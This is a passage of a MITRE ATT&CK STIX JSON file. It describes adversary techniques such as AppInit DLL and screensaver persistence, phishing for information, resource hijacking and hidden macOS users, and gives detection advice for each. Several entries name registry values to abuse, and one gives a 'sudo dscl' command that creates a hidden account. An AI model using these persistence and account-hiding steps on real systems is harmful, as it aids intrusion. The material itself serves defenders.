installed."]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","type":"attack-pattern","created":"2020-10-02T16:37:30.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.004","url":"https://attack.mitre.org/techniques/T1591/004"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:39:08.904Z","name":"Identify Roles","description":"Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itzik Kotler, SafeBreach"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","type":"attack-pattern","created":"2017-05-31T21:31:43.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1132","url":"https://attack.mitre.org/techniques/T1132"},{"url":"https://en.wikipedia.org/wiki/Binary-to-text_encoding","description":"Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Binary-to-text Encoding"},{"url":"https://en.wikipedia.org/wiki/Character_encoding","description":"Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Character Encoding"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-14T23:39:50.338Z","name":"Data Encoding","description":"Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","type":"attack-pattern","created":"2020-01-24T14:52:25.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.010","url":"https://attack.mitre.org/techniques/T1546/010"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://support.microsoft.com/en-us/kb/197571","description":"Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.","source_name":"AppInit Registry"},{"url":"https://msdn.microsoft.com/en-us/library/dn280412","description":"Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.","source_name":"AppInit Secure Boot"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-11-10T18:29:31.076Z","name":"AppInit DLLs","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Command: Command Execution","Module: Module Load","Process: Process Creation","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator"],"x_mitre_system_requirements":["Secure boot disabled on systems running Windows 8 and later"],"x_mitre_effective_permissions":["Administrator","SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Philip Winther","Sebastian Salla, McAfee","Robert Simmons, @MalwareUtkonos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","type":"attack-pattern","created":"2020-10-02T17:07:01.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1598","url":"https://attack.mitre.org/techniques/T1598"},{"source_name":"ThreatPost Social Media Phishing","url":"https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/","description":"O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."},{"source_name":"TrendMictro Phishing","url":"https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html","description":"Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."},{"source_name":"PCMag FakeLogin","url":"https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages","description":"Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020."},{"source_name":"Sophos Attachment","url":"https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/","description":"Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020."},{"source_name":"GitHub Phishery","url":"https://github.com/ryhanson/phishery","description":"Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020."},{"source_name":"Microsoft Anti Spoofing","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."},{"source_name":"ACSC Email Spoofing","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}],"modified":"2022-03-08T21:57:56.078Z","name":"Phishing for Information","description":"Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["David Fiser, @anu4is, Trend Micro","Alfredo Oliveira, Trend Micro","Jay Chen, Palo Alto Networks","Magno Logan, @magnologan, Trend Micro","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","created":"2019-04-17T14:50:05.682Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1496","url":"https://attack.mitre.org/techniques/T1496"},{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."},{"source_name":"CloudSploit - Unused AWS Regions","url":"https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc","description":"CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019."},{"source_name":"Kaspersky Lazarus Under The Hood Blog 2017","url":"https://securelist.com/lazarus-under-the-hood/77908/","description":"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019."},{"source_name":"Trend Micro Exposed Docker APIs","url":"https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html","description":"Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021."},{"source_name":"Trend Micro War of Crypto Miners","url":"https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html","description":"Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021."},{"source_name":"GoBotKR","url":"https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/","description":"Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)","modified":"2022-04-18T20:16:44.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Resource Hijacking","x_mitre_detection":"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Sensor Health: Host Status","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","type":"attack-pattern","created":"2020-10-01T01:05:42.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1585","url":"https://attack.mitre.org/techniques/T1585"},{"source_name":"NEWSCASTER2014","description":"Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.","url":"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"},{"source_name":"BlackHatRobinSage","description":"Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.","url":"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2021-10-16T17:35:59.386Z","name":"Establish Accounts","description":"Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Persona: Social Media","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","type":"attack-pattern","created":"2020-10-01T01:56:24.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588","url":"https://attack.mitre.org/techniques/T1588"},{"source_name":"NationsBuying","description":"Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.","url":"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"},{"url":"https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/","description":"Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.","source_name":"PegasusCitizenLab"},{"description":"Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.","source_name":"DiginotarCompromise","url":"https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"},{"source_name":"FireEyeSupplyChain","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.","url":"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"},{"source_name":"Analyzing CS Dec 2020","url":"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/","description":"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."},{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."},{"source_name":"Recorded Future Beacon Certificates","url":"https://www.recordedfuture.com/cobalt-strike-servers/","description":"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020."}],"modified":"2021-10-18T12:26:22.831Z","name":"Obtain Capabilities","description":"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Certificate: Certificate Registration","Malware Repository: Malware Content","Internet Scan: Response Content","Malware Repository: Malware Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bartosz Jerzman"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","created":"2020-01-24T13:51:01.210Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.002","url":"https://attack.mitre.org/techniques/T1546/002"},{"source_name":"ESET Gazer Aug 2017","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017."},{"source_name":"Wikipedia Screensaver","url":"https://en.wikipedia.org/wiki/Screensaver","description":"Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)","modified":"2022-04-20T16:58:48.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Screensaver","x_mitre_detection":"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Modification","File: File Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1147","url":"https://attack.mitre.org/techniques/T1147"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.","source_name":"Cybereason OSX Pirrit"}],"modified":"2021-12-21T16:28:00.431Z","name":"Hidden Users","description":"Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","root"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","type":"attack-pattern","created":"2020-05-14T14:45:15.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1578.002","url":"https://attack.mitre.org/techniques/T1578/002"},{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."},{"source_name":"AWS CloudTrail Search","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."},{"source_name":"Azure Activity Logs","url":"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs","description":"Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."},{"source_name":"Cloud Audit Logs","url":"https://cloud.google.com/logging/docs/audit#admin-activity","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020."}],"modified":"2021-03-08T10:33:02.034Z","name":"Create Cloud Instance","description":"An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data 